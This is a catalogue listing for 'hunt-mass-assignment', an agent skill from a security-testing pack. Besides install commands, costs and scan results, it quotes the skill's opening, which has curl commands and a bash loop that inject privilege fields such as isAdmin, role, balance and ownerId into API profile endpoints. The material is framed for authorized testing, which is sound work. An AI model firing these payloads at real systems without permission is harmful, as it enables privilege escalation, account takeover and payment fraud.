hunt-mass-assignment

hunt-mass-assignment is a skill for Claude Code, Codex from uphiago/recon-skills. It costs 19 tokens per session (1,754 once invoked), scanned A, original, MIT.

A security-testing guide for mass assignment, where an API copies user-submitted fields into an internal record without restricting which fields may change.

In plain words
What is it for?
Use it to test profile updates, registration, checkout, resource creation, and PATCH requests across common web frameworks and object-relational mappers.
Why use it?
It helps find cases where a user can submit hidden fields such as an administrator role, account balance, owner ID, or verification status.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to test profile updates, registration, checkout, resource creation, and PATCH requests across common web frameworks and object-relational mappers.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/uphiago/recon-skills/hunt-mass-assignment
About the project

Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.

uphiago/recon-skills · 1,254 stars · on GitHub · hiago.sh

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add uphiago/recon-skills --skill hunt-mass-assignment
Clone the repo
git clone --depth 1 https://github.com/uphiago/recon-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for hunt-mass-assignment

README.md
[![agentmods](https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mass-assignment/github.svg)](https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment)
Your own site
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mass-assignment/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for hunt-mass-assignment

Your own site · 80×15
<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-mass-assignment"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-mass-assignment.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 19 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,754 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 9 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Data Exfiltration · line 32
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 68
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 108
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 119
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 108
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 114
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 114
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • medium Data Exfiltration · line 119
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
  • low Privilege Escalation · line 19
    Skill requests more permissions than appear necessary for its stated functionality. Review if elevated access is justified.
    Fix: Request only the minimum permissions required. Document why each permission is needed. Remove broad permissions like '*' or 'all'.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00019 $0.01754
Opus 5 $0.00010 $0.00877
Sonnet 5 $0.00004 $0.00351
Haiku 4.5 $0.00002 $0.00175

Measured 8d ago against content hash 8b1d05262333, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade A, and why

hunt-mass-assignment scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

requests.post("https://target.com/api/users", json={

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

compatibility: Requires curl, python3
redteam/hunt-mass-assignment/SKILL.md · 178 lines

How it starts

The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Mass Assignment Hunting

Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.

When to Use

  • API accepts JSON/XML/form body with fields beyond what the UI exposes.
  • User profile updates, registration, checkout, or resource creation endpoints.
  • Framework ORMs (Rails ActiveRecord, Laravel Eloquent, Django ORM, Mongoose, Prisma) where bulk assignment is the default.
  • PATCH endpoints that accept sparse updates — may skip per-field authorization.

Quick Detection

# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","isAdmin":true,"role":"admin"}'

Key Sensitive Field Dictionary

Field Impact
isAdmin, is_admin, admin Admin escalation
role, roles, user_role Role escalation
ownerId, user_id, authorId Resource takeover
plan, tier, subscription_type Payment bypass
balance, credits, wallet Financial manipulation
verified, is_verified, email_verified Verification bypass
discount, coupon_applied, promo Pricing manipulation
organizationId, tenantId, teamId Cross-tenant access
banned, disabled, suspended Account state control

Procedure

Phase 1 — Sensitive Field Injection

# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
        "plan:enterprise" "tier:platinum" "balance:999999"
        "verified:true" "ownerId:1" "user_id:1" "authorId:1"
        "organizationId:1" "teamId:1" "tenantId:1"
        "can_manage:true" "permissions:{\"admin\":true}"
        "access_level:admin" "group:administrators"
        "is_superuser:true" "superuser:1" "staff:true")

for field in "${FIELDS[@]}"; do
  key="${field%%:*}"
  val="${field#*:}"
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
    -H "Content-Type: application/json" \
    -d "{\"$key\":$val,\"name\":\"test\"}" \
    -w "\n%{http_code} — $key\n" -o /dev/null
done

Read the full file on GitHub · 178 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 178 lines · 19 tokens per session scan A 8b1d05262333

Subscribe to this mod's changes

hunt-mass-assignment is a skill published in the GitHub repository uphiago/recon-skills (1,254 stars, last pushed 10d ago), licensed MIT. It adds 19 tokens to every session and 1,754 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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